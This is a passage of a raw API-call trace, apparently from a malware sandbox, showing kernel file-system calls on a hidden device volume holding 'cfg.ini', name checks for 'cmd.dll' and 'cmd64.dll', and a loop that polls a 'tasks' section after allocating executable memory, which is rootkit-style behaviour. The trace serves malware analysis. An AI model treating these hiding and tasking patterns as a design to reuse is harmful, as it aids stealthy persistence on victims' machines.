0xfffffa80039d7d20 [0123.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.591] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.591] IdePortDispatch () returned 0x103 [0123.591] KeWaitForMutexObject () returned 0x0 [0123.592] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.592] KeLeaveCriticalRegion () [0123.592] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.592] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.592] KeEnterCriticalRegion () [0123.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.592] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034da000 [0123.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.592] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.592] IdePortDispatch () returned 0x103 [0123.592] KeWaitForMutexObject () returned 0x0 [0123.592] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.592] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.592] IdePortDispatch () returned 0x103 [0123.593] KeWaitForMutexObject () returned 0x0 [0123.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.593] KeLeaveCriticalRegion () [0123.593] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.593] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.594] KeEnterCriticalRegion () [0123.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.594] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.594] KeLeaveCriticalRegion () [0123.594] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.594] KeEnterCriticalRegion () [0123.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.594] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.594] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.594] KeLeaveCriticalRegion () [0123.594] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.594] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.594] KeEnterCriticalRegion () [0123.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.594] ExFreePoolWithTag (P=0xfffffa8003bec260, Tag=0x0) [0123.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.594] KeLeaveCriticalRegion () [0123.594] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.594] ReleaseMutex (hMutex=0xf0) returned 1 [0123.594] Sleep (dwMilliseconds=0x927c0) [0123.608] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.608] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.608] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.608] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.608] KeEnterCriticalRegion () [0123.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.608] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.608] IdePortDispatch () returned 0x103 [0123.608] KeWaitForMutexObject () returned 0x0 [0123.608] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.609] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.609] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.609] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.609] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.609] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bece50 [0123.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.609] KeLeaveCriticalRegion () [0123.609] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.609] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.609] KeEnterCriticalRegion () [0123.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.609] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.609] KeLeaveCriticalRegion () [0123.609] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.609] KeEnterCriticalRegion () [0123.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.609] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.609] IdePortDispatch () returned 0x103 [0123.609] KeWaitForMutexObject () returned 0x0 [0123.609] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.609] KeLeaveCriticalRegion () [0123.609] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.609] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.609] KeEnterCriticalRegion () [0123.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.609] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034df000 [0123.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.609] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.609] IdePortDispatch () returned 0x103 [0123.610] KeWaitForMutexObject () returned 0x0 [0123.610] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.610] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.610] IdePortDispatch () returned 0x103 [0123.610] KeWaitForMutexObject () returned 0x0 [0123.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.610] KeLeaveCriticalRegion () [0123.610] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.610] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.610] KeEnterCriticalRegion () [0123.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.610] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.610] KeLeaveCriticalRegion () [0123.611] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.611] KeEnterCriticalRegion () [0123.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.611] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.611] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bec4d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.611] KeLeaveCriticalRegion () [0123.611] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.611] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.611] KeEnterCriticalRegion () [0123.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.611] ExFreePoolWithTag (P=0xfffffa8003bece50, Tag=0x0) [0123.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.611] KeLeaveCriticalRegion () [0123.611] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.611] ReleaseMutex (hMutex=0xf0) returned 1 [0123.611] Sleep (dwMilliseconds=0x927c0) [0123.626] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.626] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.626] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.626] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.626] KeEnterCriticalRegion () [0123.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.626] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.626] IdePortDispatch () returned 0x103 [0123.626] KeWaitForMutexObject () returned 0x0 [0123.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.626] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.626] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.626] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.626] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.626] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedeb0 [0123.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.626] KeLeaveCriticalRegion () [0123.626] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.626] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.626] KeEnterCriticalRegion () [0123.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.627] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.627] KeLeaveCriticalRegion () [0123.627] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.627] KeEnterCriticalRegion () [0123.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.627] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.627] IdePortDispatch () returned 0x103 [0123.627] KeWaitForMutexObject () returned 0x0 [0123.627] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.627] KeLeaveCriticalRegion () [0123.627] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.627] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.627] KeEnterCriticalRegion () [0123.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.627] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e4000 [0123.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.627] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.627] IdePortDispatch () returned 0x103 [0123.627] KeWaitForMutexObject () returned 0x0 [0123.627] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.627] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.628] IdePortDispatch () returned 0x103 [0123.628] KeWaitForMutexObject () returned 0x0 [0123.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.628] KeLeaveCriticalRegion () [0123.628] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.628] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.628] KeEnterCriticalRegion () [0123.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.628] KeLeaveCriticalRegion () [0123.628] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.628] KeEnterCriticalRegion () [0123.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.628] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.628] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.628] KeLeaveCriticalRegion () [0123.628] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.628] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.628] KeEnterCriticalRegion () [0123.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.629] ExFreePoolWithTag (P=0xfffffa8003bedeb0, Tag=0x0) [0123.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.629] KeLeaveCriticalRegion () [0123.629] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.629] ReleaseMutex (hMutex=0xf0) returned 1 [0123.629] Sleep (dwMilliseconds=0x927c0) [0123.642] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.642] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.642] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.642] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.642] KeEnterCriticalRegion () [0123.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.642] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.642] IdePortDispatch () returned 0x103 [0123.642] KeWaitForMutexObject () returned 0x0 [0123.642] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.642] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.642] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.642] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.642] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.642] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec260 [0123.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.642] KeLeaveCriticalRegion () [0123.642] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.642] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.643] KeEnterCriticalRegion () [0123.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.643] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.643] KeLeaveCriticalRegion () [0123.643] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.643] KeEnterCriticalRegion () [0123.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.643] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.643] IdePortDispatch () returned 0x103 [0123.643] KeWaitForMutexObject () returned 0x0 [0123.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.643] KeLeaveCriticalRegion () [0123.643] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.643] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.643] KeEnterCriticalRegion () [0123.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.643] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e9000 [0123.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.643] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.643] IdePortDispatch () returned 0x103 [0123.643] KeWaitForMutexObject () returned 0x0 [0123.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: 